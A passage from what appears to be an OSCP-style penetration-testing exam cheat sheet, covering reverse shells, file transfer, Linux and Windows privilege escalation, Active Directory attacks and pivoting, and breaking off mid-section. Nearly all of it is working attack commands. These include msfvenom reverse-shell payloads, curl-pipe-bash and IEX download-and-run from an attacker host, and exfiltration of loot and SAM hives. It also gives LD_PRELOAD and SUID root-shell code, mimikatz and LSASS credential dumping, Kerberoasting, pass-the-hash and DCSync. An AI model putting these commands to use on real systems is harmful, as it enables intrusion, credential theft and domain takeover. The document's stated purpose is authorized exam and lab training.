6.2 msfvenom (allowed on every machine — except Meterpreter)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o rev.exe
msfvenom -p windows/shell_reverse_tcp     LHOST=$LHOST LPORT=443 -f exe -o rev32.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o rev.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f msi -o rev.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o rev.aspx
msfvenom -p linux/x64/shell_reverse_tcp   LHOST=$LHOST LPORT=443 -f elf -o rev.elf
msfvenom -p java/jsp_shell_reverse_tcp    LHOST=$LHOST LPORT=443 -f war -o rev.war
msfvenom -p php/reverse_php               LHOST=$LHOST LPORT=443 -f raw -o rev.php

Staged ↔ stageless

windows/x64/shell_reverse_tcp (underscore) is stageless and can be caught with nc. windows/x64/shell/reverse_tcp (slash) is staged and can only be caught with multi/handler. Meterpreter payloads fall under the Metasploit restriction.

6.3 Linux TTY upgrade

python3 -c 'import pty;pty.spawn("/bin/bash")'     # if missing: script -qc /bin/bash /dev/null
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm-256color SHELL=/bin/bash
stty rows 50 cols 200        # get your own values with 'stty size' on Kali

More robust: a full TTY with socat, if it is on the target or you can upload it:

socat file:`tty`,raw,echo=0 tcp-listen:4444                           # Kali
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:4444    # target

If you have SSH access, drop everything and use SSH. Dropping an authorized_keys into a home directory you can write to gives the most stable shell.

6.4 Better shells on Windows

  • If WinRM is open and you have credentials: evil-winrm (built-in upload/download).
  • RDP: xfreerdp3 /v:$IP /u:$USER /p:$PASS /cert:ignore /dynamic-resolution +clipboard /drive:share,/home/kali/exam/tools
  • ConPtyShell (fully interactive):
# Kali
stty raw -echo; (stty size; cat) | nc -lvnp 3001
# Target
IEX(IWR http://LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell LHOST 3001
  • You have another user's password but no interactive session: RunasCs
.\RunasCs.exe svc_user 'Passw0rd!' cmd.exe -r LHOST:443

6.5 When the reverse shell does not arrive

  1. Is LHOST really your tun0 IP? (ip a show tun0)
  2. Is the listener on the right port? ss -tlnp | grep 443
  3. Outbound traffic from the target may be filtered: try 80, 443, 53, or a port that is already open on the target.
  4. Test a simple connection first: curl http://LHOST/test / ping LHOST (watch with tcpdump).
  5. Architecture: an x64 payload does not run in a 32-bit process/OS.
  6. Special characters (&, |, ') break inside the URL/command → URL-encode or base64.
  7. If Defender deletes the file: in-memory PowerShell, powercat instead of nc64.exe; a different payload format.

7. File transfer

7.1 Servers on Kali (always running in tmux window 0)

cd ~/exam/tools && python3 -m http.server 80                     # downloads
python3 -m uploadserver 8000                                       # uploads (pip install uploadserver)
impacket-smbserver share . -smb2support -user k -password k        # SMB (newer Windows refuses guest access → use a username/password)

7.2 Kali → target

# Linux target
wget http://LHOST/linpeas.sh -O /tmp/lp.sh
curl http://LHOST/linpeas.sh -o /tmp/lp.sh
curl http://LHOST/linpeas.sh | bash                 # without writing to disk
# no wget/curl
exec 3<>/dev/tcp/LHOST/80; echo -e "GET /pspy64 HTTP/1.0\r\n\r\n" >&3; cat <&3 > /tmp/p   # (strip the HTTP header afterwards)
# Windows target
iwr http://LHOST/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe
certutil -urlcache -split -f http://LHOST/nc64.exe C:\Windows\Temp\nc.exe
curl.exe http://LHOST/nc64.exe -o C:\Windows\Temp\nc.exe
IEX(New-Object Net.WebClient).DownloadString('http://LHOST/PowerUp.ps1')        # in memory
net use \\LHOST\share /user:k k ; copy \\LHOST\share\nc64.exe C:\Windows\Temp\

Inside evil-winrm: upload /home/kali/exam/tools/winPEASx64.exe / download C:\path\file.

7.3 Target → Kali

# Linux
curl -F 'files=@/tmp/loot.tgz' http://LHOST:8000/upload
nc -lvnp 9001 > loot.tgz            # Kali
nc LHOST 9001 < /tmp/loot.tgz       # target
# Windows
copy C:\Windows\Temp\sam.hiv \\LHOST\share\
(New-Object Net.WebClient).UploadFile('http://LHOST:8000/upload','C:\Windows\Temp\loot.zip')
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Windows\Temp\small.txt"))   # small file: copy and paste

Check integrity: md5sum (Linux) ↔ Get-FileHash -Algorithm MD5 (Windows).

Error Fix
certutil / write "Access denied" Use C:\Windows\Temp, C:\Users\Public or $env:TEMP
Downloaded file is 0 bytes / HTML http.server is running in the wrong directory; try the URL in a browser
SMB "guest access blocked" impacket-smbserver ... -user k -password k + net use
Permission denied when running on Linux chmod +x; if /tmp is noexec, use /dev/shm or the home directory

8. Linux privilege escalation

8.1 Ordered checklist (5 min manual first, then linpeas)

id; sudo -l                                   # 1) sudo — the most common path
find / -perm -4000 -type f 2>/dev/null        # 2) SUID
getcap -r / 2>/dev/null                       # 3) capabilities
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers   # 4) cron
ls -la /home/* /opt /var/www /srv; cat ~/.bash_history        # 5) passwords / interesting files
ss -tlnp                                      # 6) services listening only on localhost (port forward!)
ps aux | grep -i root                         # 7) custom processes running as root
uname -a; cat /etc/os-release; sudo -V | head -1   # 8) kernel/sudo/polkit version
cat /etc/exports 2>/dev/null                  # 9) NFS no_root_squash
curl http://LHOST/linpeas.sh | bash | tee /tmp/lp.txt   # red/yellow: 95% privesc
./pspy64                                                 # watch for 2–3 min: root's periodic commands

If you see a service listening on localhost (e.g. 127.0.0.1:8080): expose it to Kali with ssh -L 8080:127.0.0.1:8080 user@$IP or chisel/ligolo — it is often a web application running as root.

8.2 sudo

Look up every binary in the sudo -l output on GTFOBins (gtfobins.github.io → "Sudo"). The most common ones:

sudo vim -c ':!/bin/bash'
sudo find . -exec /bin/bash \; -quit
sudo awk 'BEGIN {system("/bin/bash")}'
sudo less /etc/hosts      # inside:  !/bin/bash
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo env /bin/bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help config   # inside:  !/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T -TT 'bash #'
In the sudo -l output Path
(ALL) NOPASSWD: /path/script.sh and the script is writable Add bash -p to it
The script itself is not writable but calls a command without a full path PATH hijack if there is no secure_path
A * wildcard inside the script wildcard injection (tar/rsync/chown)
env_keep+=LD_PRELOAD LD_PRELOAD below
(ALL, !root) and sudo < 1.8.28 sudo -u#-1 /bin/bash (CVE-2019-14287)
You know your own password and have (ALL : ALL) ALL sudo -i 😊

LD_PRELOAD:

// /tmp/x.c
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); }
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so <any command allowed with sudo>

8.3 SUID and capabilities

Use the "SUID" section on GTFOBins (it differs from the sudo command: you usually need -p).

/usr/bin/bash -p                                     # SUID bash
find . -exec /bin/sh -p \; -quit                     # SUID find
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'  # SUID python
env /bin/sh -p                                       # SUID env
# SUID cp / writable /etc/passwd: add a user with root privileges
openssl passwd -1 -salt x Passw0rd                   # output: $1$x$...
cp /etc/passwd /tmp/p; echo 'r00t:<HASH>:0:0:root:/root:/bin/bash' >> /tmp/p
cp /tmp/p /etc/passwd        # (with SUID cp)  →  su r00t

Unknown (custom) SUID binary: look at the commands it runs with strings / ltrace → if it calls something without a full path, PATH hijack:

strings /usr/local/bin/backup | less
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/tar; chmod +x /tmp/tar
PATH=/tmp:$PATH /usr/local/bin/backup
Capability Exploitation
cap_setuid+ep (python/perl/node…) python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
cap_dac_read_search Read any file (/etc/shadow, root's SSH key)
cap_dac_override Write any file (/etc/passwd)

8.4 Cron and scheduled jobs

cat /etc/crontab /etc/cron.d/*; ls -la /etc/cron.*
./pspy64                        # catch root jobs that do not show up in crontab
  • A script run by root is writable: echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> /path/script.sh → wait → /tmp/rb -p
  • The script calls a command without a full path and a writable directory comes first in the crontab PATH → put a script with the same name in that directory.
  • Wildcard: cd /var/backups && tar czf /tmp/b.tgz *
cd /var/backups
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'

8.5 Groups

Check the groups in the id output:

Group Path
docker docker run -v /:/mnt --rm -it <existing image> chroot /mnt bash (get the image name with docker images)
lxd / lxc Import an Alpine image, security.privileged=true, mount /
disk debugfs /dev/sda1 → cat /root/.ssh/id_rsa
adm Read /var/log/* → passwords in logs
shadow Read /etc/shadow → crack
sudo / wheel Root straight away if you find the user's password

8.6 NFS no_root_squash

# On the target: cat /etc/exports   →  /srv/share *(rw,no_root_squash)
# On Kali (as root):
sudo mount -t nfs -o vers=3 $IP:/srv/share /mnt/nfs
cat > /tmp/r.c <<'EOF'
#include <unistd.h>
int main(){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
sudo gcc -static /tmp/r.c -o /mnt/nfs/r && sudo chmod +s /mnt/nfs/r
# On the target:
/srv/share/r

(Compiling with -static avoids failures caused by different glibc versions on Kali and the target. That is also why copying Kali's /bin/bash often fails.)

8.7 Kernel and known local CVEs (last resort)

CVE Target Condition
CVE-2021-4034 PwnKit pkexec polkit < 0.120 (almost every distribution before early 2022)
CVE-2021-3156 Baron Samedit sudo 1.8.2–1.8.31p2, 1.9.0–1.9.5p1
CVE-2022-0847 Dirty Pipe kernel 5.8 ≤ version < 5.16.11 / 5.15.25 / 5.10.102
CVE-2023-2640 + 32629 GameOverlay Ubuntu kernel Specific Ubuntu kernels (OverlayFS)
CVE-2023-4911 Looney Tunables glibc 2.34–2.38 (unpatched)
CVE-2016-5195 Dirty COW kernel < 4.8.3 (old targets)
uname -r; cat /etc/os-release; dpkg -l | grep -E 'policykit|sudo |libc6'
./linux-exploit-suggester.sh

A kernel exploit can crash the machine → try everything else first, and collect your proof (local.txt) before running it. If the machine crashes you need a revert from the panel (at most 24; the counter can be reset once).

8.8 Linux privesc decision table

Finding Path
sudo -l returns something GTFOBins "Sudo" / write to the script / LD_PRELOAD
Non-standard SUID GTFOBins "SUID"; for a custom binary, strings + PATH hijack
Capability Table in 8.3
Root cron + writable script / wildcard 8.4
docker/lxd/disk group 8.5
Service on 127.0.0.1 Port forward → web application / DB
Password in a config file su root, su <other user>
NFS no_root_squash 8.6
Old kernel / sudo / polkit 8.7 (last resort)

9. Windows privilege escalation

9.1 Ordered checklist

whoami /priv                  # 1) SeImpersonate etc. → 9.5
whoami /groups                # 2) Administrators (UAC?), Backup Operators, Server Operators, DnsAdmins
net user <yourself>; net localgroup administrators
systeminfo                    # 3) OS version, patches, architecture
# 4) Passwords (9.2) — THE MOST PRODUCTIVE
# 5) Services (9.3)
Get-CimInstance win32_service | ?{$_.PathName -notlike "C:\Windows*"} | select Name,StartName,State,StartMode,PathName
# 6) Scheduled tasks
schtasks /query /fo LIST /v | findstr /i "TaskName Run.As Task.To.Run"
# 7) Installed software and interesting directories
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersion
dir C:\ ; dir "C:\Program Files" ; dir "C:\Program Files (x86)" ; dir C:\Users\*\Desktop
netstat -ano | findstr LISTENING       # 8) services reachable only from inside

Then the automated tools: .\winPEASx64.exe and . .\PowerUp.ps1; Invoke-AllChecks — verify the findings of both manually.

9.2 Credential hunting (the most productive Windows privesc)

# PowerShell history (for every user)
Get-History
type (Get-PSReadlineOption).HistorySavePath
dir C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# PowerShell transcript files
dir C:\ -Recurse -Include *transcript*.txt -ErrorAction SilentlyContinue
# Interesting files
Get-ChildItem C:\Users -Include *.txt,*.ini,*.xml,*.config,*.kdbx,*.ps1,*.zip -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
findstr /si /m "password" C:\inetpub\*.config C:\xampp\*.ini C:\Users\*.txt 2>nul
# Registry / auto logon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "Default"
reg query HKLM /f password /t REG_SZ /s 2>nul | findstr /i "password"
# Setup leftovers
type C:\Windows\Panther\Unattend.xml ; type C:\Windows\Panther\unattend\Unattend.xml
# Saved credentials
cmdkey /list        # if present:  runas /savecred /user:<user> "C:\Windows\Temp\rev.exe"

Passwords can also show up in Event Viewer → PowerShell Operational → Script Block Logging (4104) records: Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | ?{$_.Id -eq 4104} | select -First 50 -Expand Message

9.3 Services

(a) The service binary is writable (binary hijacking):

icacls "C:\Program Files\App\svc.exe"         # (F) or (M) for one of your groups? (BUILTIN\Users, Everyone, Authenticated Users)
// adduser.c  →  x86_64-w64-mingw32-gcc adduser.c -o svc.exe
#include <stdlib.h>
int main(){ system("net user hacker Passw0rd! /add"); system("net localgroup administrators hacker /add"); return 0; }
move "C:\Program Files\App\svc.exe" C:\Windows\Temp\svc.bak
iwr http://LHOST/svc.exe -OutFile "C:\Program Files\App\svc.exe"
Restart-Service App        # if not permitted and StartMode=Auto:  shutdown /r /t 0  (needs SeShutdownPrivilege)

(If you want a reverse shell, use msfvenom ... -f exe-service; a plain -f exe dies within seconds when started as a service.)

(b) The service configuration can be changed:

.\accesschk64.exe /accepteula -uwcqv $env:USERNAME *     # SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS
sc.exe qc <svc>
sc.exe config <svc> binPath= "C:\Windows\Temp\nc.exe -e cmd.exe LHOST 443"
sc.exe stop <svc>; sc.exe start <svc>

(c) Unquoted service path:

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# C:\Program Files\My App\Bin\svc.exe  →  in order:  C:\Program.exe, C:\Program Files\My.exe, C:\Program Files\My App\Bin.exe
icacls "C:\Program Files\My App"        # drop an exe with the matching name into a writable directory, restart the service

(d) DLL hijacking: if a service/application looks for a missing DLL in a writable directory (NAME NOT FOUND in Process Monitor; usually not available on the target → study the same application in your own Windows VM):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll -o hijack.dll

9.4 Scheduled tasks and AlwaysInstallElevated

schtasks /query /fo LIST /v | findstr /i "TaskName Run.As Task.To.Run"
icacls C:\path\to\task.ps1          # if it is writable and "Run As" is a privileged account → change its contents

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both are 0x1:
msiexec /quiet /qn /i C:\Windows\Temp\rev.msi

9.5 Privileges (whoami /priv)

Privilege Path
SeImpersonatePrivilege The Potato family (very common on IIS, MSSQL and service accounts)
SeBackupPrivilege Copy SAM/SYSTEM; ntds.dit on a DC (below)
SeRestorePrivilege Write to protected files (e.g. replace utilman.exe)
SeManageVolumePrivilege SeManageVolumeExploit.exe → write to C:\ → DLL hijack
SeTakeOwnershipPrivilege takeown + icacls → replace a system file
SeDebugPrivilege LSASS dump / injection into a SYSTEM process
SeLoadDriverPrivilege Vulnerable driver (Capcom) — rare
# SeImpersonate
.\PrintSpoofer64.exe -i -c powershell.exe                 # Win10 / Server 2016-2019
.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe LHOST 443 -e cmd"
.\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe LHOST 443 -e cmd"   # Server 2012–2022 / Win8–11
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe LHOST 443 -e cmd"

If one Potato does not work, try another; pick the .NET build (GodPotato-NET2/NET35/NET4) to match the target.

SeBackupPrivilege (member server):

reg save HKLM\SAM C:\Windows\Temp\sam ; reg save HKLM\SYSTEM C:\Windows\Temp\system
# Kali:  impacket-secretsdump -sam sam -system system LOCAL

SeBackupPrivilege / Backup Operators (DC → ntds.dit):

# diskshadow.txt (with Windows line endings: unix2dos)
set context persistent nowriters
add volume c: alias x
create
expose %x% z:
diskshadow /s C:\Windows\Temp\diskshadow.txt
robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\system
# Kali:  impacket-secretsdump -ntds ntds.dit -system system LOCAL

9.6 Groups

Group Path
Administrators but Medium integrity UAC bypass (9.7)
Backup Operators 9.5 (SAM / ntds.dit)
Server Operators Change a service with sc.exe config <svc> binPath=, start it → SYSTEM
DnsAdmins dnscmd /config /serverlevelplugindll \\LHOST\share\x.dll + restart the DNS service
Event Log Readers Command-line passwords in the security logs (4688)
Remote Management Users Right to log in with evil-winrm

9.7 UAC bypass (Administrators member + Medium integrity)

whoami /groups | findstr Label         # Medium Mandatory Level → UAC
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name DelegateExecute -Value "" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "C:\Windows\Temp\nc.exe LHOST 443 -e cmd.exe" -Force
Start-Process C:\Windows\System32\fodhelper.exe

Simpler if you know the password: log in over RDP and "Run as administrator" — or RunasCs.exe user pass cmd.exe -r LHOST:443 --bypass-uac.

9.8 After Admin/SYSTEM (not just the flag!)

# Local hashes
reg save HKLM\SAM C:\Windows\Temp\sam; reg save HKLM\SYSTEM C:\Windows\Temp\system; reg save HKLM\SECURITY C:\Windows\Temp\security
# Credentials in memory (CRITICAL in the AD set: the key to the next machine is usually here)
.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" "exit"
# Remotely from Kali (with local admin credentials)
impacket-secretsdump $DOMAIN/$USER:$PASS@$IP
nxc smb $IP -u administrator -H <NTLM> --local-auth --sam --lsa
nxc smb $IP -u $USER -p $PASS -M lsassy

If Defender deletes mimikatz: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass PID> C:\Windows\Temp\l.dmp full (administrator PowerShell) → pypykatz lsa minidump l.dmp on Kali.

Then: user desktops/documents, .kdbx, browser/application configs, ipconfig /all (a second NIC = pivot), cmdkey /list.

9.9 Old / unpatched systems

Run the systeminfo output through wes.py systeminfo.txt --impact "Elevation of Privilege" on Kali. Classics: MS17-010 (2008/7), PrintNightmare CVE-2021-34527/1675 (if the Spooler is running), HiveNightmare CVE-2021-36934 (icacls C:\Windows\System32\config\SAM → BUILTIN\Users:(RX)).

9.10 Windows privesc decision table

Finding Path
SeImpersonate GodPotato / PrintSpoofer / JuicyPotatoNG
Password in history/config/kdbx RunasCs / evil-winrm / RDP
Writable service binary Replace + restart / reboot
Service config permission sc config binPath
Unquoted path + writable directory An exe with the matching name
Writable task script Change its contents
AlwaysInstallElevated MSI
Admin group + Medium fodhelper UAC bypass
Backup/Server Operators, DnsAdmins 9.5 / 9.6
Service listening on localhost Port forward → investigate

9.11 Quick reference: the first 10 minutes

whoami /all; hostname; ipconfig /all; systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
net user; net localgroup administrators; netstat -ano | findstr LISTENING
Get-History; type (Get-PSReadlineOption).HistorySavePath
dir C:\Users\*\Desktop, C:\Users\*\Documents -ErrorAction SilentlyContinue

10. Active Directory (assumed breach scenario)

10.1 AD decision tree

Given user (user:pass) + DC IP
│
├─ 1. Validate and map ──────► nxc smb <subnet>  →  which machines, which are unsigned, which names
├─ 2. Channels ──────────────► try this user on EVERY machine with nxc smb/winrm/rdp/mssql/ldap
├─ 3. Enum ──────────────────► users + descriptions, groups, shares, BloodHound
│
├─ User with an SPN ─────────► Kerberoast → 13100 → password → spray / log in
├─ Preauth disabled ─────────► AS-REP roast → 18200
├─ File on a share ──────────► script/config/kdbx/xml → password
├─ Local admin on a machine ─► mimikatz/secretsdump → new hashes/passwords → back to step 2
├─ BloodHound ACL edge ──────► ForceChangePassword / GenericAll / GenericWrite / WriteDACL / AddMember
├─ MSSQL access ─────────────► xp_cmdshell → SeImpersonate → Potato
├─ Shell on a machine, not admin ► Section 9 (local privesc) → then dump
└─ DA / SYSTEM on the DC ────► proof.txt (on the DC) + DCSync

Progress in AD is cyclical: new credential → try it everywhere → new machine → dump → new credential. With every new credential, mark that user as "Owned" in BloodHound and query the paths again.

10.2 The first 15 minutes

# Time sync (Kerberos tolerates 5 min of skew)
sudo ntpdate -u $DC          # or: sudo rdate -n $DC
# DC and domain name
nxc smb $DC
echo "$DC dc01.$DOMAIN $DOMAIN dc01" | sudo tee -a /etc/hosts
# Machines in the subnet
nxc smb 10.10.x.0/24
# Try the user everywhere
nxc smb   10.10.x.0/24 -u $USER -p $PASS
nxc winrm 10.10.x.0/24 -u $USER -p $PASS
nxc rdp   10.10.x.0/24 -u $USER -p $PASS
nxc mssql 10.10.x.0/24 -u $USER -p $PASS
# Domain data
nxc smb $DC -u $USER -p $PASS --users --groups --shares --pass-pol
nxc ldap $DC -u $USER -p $PASS --users-export users.txt     # usernames only
nxc smb 10.10.x.0/24 -u $USER -p $PASS -M spider_plus        # files on every share

User description fields (description) and scripts in SYSVOL often contain passwords.

10.3 BloodHound

# Collect from Kali
bloodhound-ce-python -u $USER -p $PASS -d $DOMAIN -ns $DC -c All --zip      # for BloodHound CE
# (If you use BloodHound Legacy: bloodhound-python. The collector and GUI versions MUST match.)
nxc ldap $DC -u $USER -p $PASS --bloodhound -c All --dns-server $DC
# From a Windows target
.\SharpHound.exe -c All --zipfilename bh.zip

Queries to run: Shortest paths to Domain Admins, Shortest paths from Owned principals, Kerberoastable users, AS-REP roastable users, the Outbound Object Control of the users you own, Find computers where Domain Users are local admin, Users with sessions.

10.4 PowerView / built-in enumeration (from a target)

. .\PowerView.ps1
Get-DomainUser | select samaccountname,description,memberof
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Get-DomainUser -PreauthNotRequired | select samaccountname
Get-DomainGroupMember "Domain Admins" -Recurse | select MemberName
Get-DomainComputer | select dnshostname,operatingsystem
Find-LocalAdminAccess                        # where is this user a local admin?
Get-NetSession -ComputerName <host>          # who is logged in where
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "$env:USERNAME"}
Get-DomainObjectAcl -Identity <target> -ResolveGUIDs | ?{$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner"}
# Without tools
net user /domain ; net group "Domain Admins" /domain ; net accounts /domain

10.5 Kerberoasting and AS-REP roasting

impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC -request -outputfile kerb.txt
impacket-GetNPUsers  $DOMAIN/$USER:$PASS -dc-ip $DC -request -format hashcat -outputfile asrep.txt
impacket-GetNPUsers  $DOMAIN/ -usersfile users.txt -dc-ip $DC -no-pass -format hashcat     # without credentials
hashcat -m 13100 kerb.txt  /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
.\Rubeus.exe kerberoast /outfile:kerb.txt /nowrap
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap

10.6 Lateral movement

Method Requires Command
PsExec Local admin, SMB, writable ADMIN$ impacket-psexec $DOMAIN/$USER:$PASS@$IP
WMIExec Local admin, 135 + high ports impacket-wmiexec -hashes :<NTLM> $DOMAIN/$USER@$IP
SMBExec / ATExec Local admin impacket-smbexec ... / impacket-atexec ... whoami
WinRM Remote Management Users or admin evil-winrm -i $IP -u $USER -p $PASS / -H <NTLM>
RDP Remote Desktop Users xfreerdp3 /v:$IP /u:$USER /p:$PASS /d:$DOMAIN /cert:ignore
RDP + hash Restricted Admin enabled xfreerdp3 /v:$IP /u:$USER /pth:<NTLM> /cert:ignore
nxc single command admin nxc smb $IP -u $USER -H <NTLM> -x "whoami"
MSSQL DB access impacket-mssqlclient ... -windows-auth

Windows to Windows (when you cannot bring tools):

winrs -r:files04 -u:$USER -p:$PASS "cmd /c whoami"
$cred = New-Object System.Management.Automation.PSCredential('CORP\user',(ConvertTo-SecureString 'Pass' -AsPlainText -Force))
Enter-PSSession -ComputerName files04 -Credential $cred
.\PsExec64.exe -accepteula \\files04 -u corp\user -p Pass cmd

Overpass-the-hash / Pass-the-ticket:

impacket-getTGT $DOMAIN/$USER -hashes :<NTLM> -dc-ip $DC
export KRB5CCNAME=$PWD/$USER.ccache
impacket-psexec -k -no-pass $DOMAIN/$USER@host.$DOMAIN        # use the FQDN, not the IP
.\mimikatz.exe "sekurlsa::pth /user:jen /domain:corp.com /ntlm:<NTLM> /run:powershell" "exit"
.\mimikatz.exe "sekurlsa::tickets /export" "exit" ; .\mimikatz.exe "kerberos::ptt <ticket.kirbi>" "exit"

10.7 MSSQL

SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin');
-- shortcuts inside impacket-mssqlclient:  enable_xp_cmdshell  /  xp_cmdshell whoami
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';                         -- service account → SeImpersonate → Potato
-- Impersonation
SELECT distinct b.name FROM sys.server_permissions a JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id WHERE a.permission_name='IMPERSONATE';
EXECUTE AS LOGIN = 'sa';
-- Linked servers
SELECT srvname FROM sysservers;  EXEC ('xp_cmdshell ''whoami''') AT [SQL02];
-- Capture the service account's NetNTLMv2 (on Kali: impacket-smbserver share . -smb2support)
EXEC xp_dirtree '\\LHOST\share';

10.8 ACL abuse (BloodHound edges)

Edge (on the target) Attack
ForceChangePassword Change their password
GenericAll (user) Change the password / add an SPN → kerberoast
GenericAll / AddMember (group) Add yourself to the group
GenericWrite (user) Add an SPN (targeted kerberoast)
WriteDACL (domain) Grant yourself DCSync rights
WriteOwner Become the owner → grant yourself GenericAll
ReadLAPSPassword Read the machine's local admin password
ReadGMSAPassword Read the gMSA account's NT hash
# bloodyAD (from Kali, very practical)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password <target> 'NewPass123!'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember '<group>' $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add dcsync $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set owner <target> $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll <target> $USER
# Alternative
net rpc password '<target>' 'NewPass123!' -U "$DOMAIN/$USER%$PASS" -S $DC
# Targeted kerberoast (GenericWrite)
python3 targetedKerberoast.py -d $DOMAIN -u $USER -p $PASS --dc-ip $DC
# LAPS / gMSA
nxc ldap $DC -u $USER -p $PASS -M laps
nxc ldap $DC -u $USER -p $PASS --gmsa
# PowerView equivalents
Set-DomainUserPassword -Identity <target> -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
Add-DomainGroupMember -Identity '<group>' -Members $env:USERNAME
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity $env:USERNAME -Rights DCSync
Set-DomainObject -Identity <target> -Set @{serviceprincipalname='x/y'}

After adding a group membership

A new group membership is not reflected in the token of your existing session: log in again (a new evil-winrm session / a new TGT).

10.9 Domain Admin and proof

impacket-secretsdump $DOMAIN/<DA user>:<password>@$DC -just-dc-user Administrator   # DCSync
impacket-psexec $DOMAIN/Administrator@$DC -hashes :<NTLM>
evil-winrm -i $DC -u Administrator -H <NTLM>

Proof on the DC (in the same frame):

hostname; whoami; ipconfig | findstr IPv4; type C:\Users\Administrator\Desktop\proof.txt

Silver/Golden tickets, persistence after DCSync and so on earn no exam points; once you reach DA, take the proof and move on.

10.10 Advanced (outside the PEN-200 syllabus — short notes only)

Exam AD sets are usually solved with the paths in 10.1. The items below are common in real life and on HTB; remember them when you see them in a lab:

  • ADCS: certipy-ad find -u $USER@$DOMAIN -p $PASS -dc-ip $DC -vulnerable -stdout → ESC1: certipy-ad req ... -template <T> -upn administrator@$DOMAIN → certipy-ad auth -pfx administrator.pfx
  • Shadow Credentials (GenericWrite/AddKeyCredentialLink): certipy-ad shadow auto -u $USER@$DOMAIN -p $PASS -account <target>
  • RBCD / Constrained / Unconstrained delegation: impacket-findDelegation $DOMAIN/$USER:$PASS -dc-ip $DC
  • NTLM relay + coercion (PetitPotam, PrinterBug): coercion is not spoofing, but poisoning with Responder is banned in the exam.

10.11 Common AD mistakes

  • Not trying the given user on every machine and every protocol.
  • Not running mimikatz/secretsdump on a machine where you are local admin (the key to the next step is there).
  • Not trying a local admin hash you found on the other machines with --local-auth.
  • Kerberos error (KRB_AP_ERR_SKEW) → the clock; KDC_ERR_S_PRINCIPAL_UNKNOWN → use the FQDN instead of the IP.
  • No progress in AD for 3–4 hours → move to the standalone machines and come back with a fresh head.

11. Pivoting

11.1 When

A second network card in the ip a / ipconfig output, a service listening only on 127.0.0.1 in ss -tlnp / netstat -ano, or machines in the AD set that you cannot reach directly.

11.2 Ligolo-ng (recommended — no proxychains needed)

# Kali
sudo ./proxy -selfcert -laddr 0.0.0.0:11601
# Target (Linux / Windows)
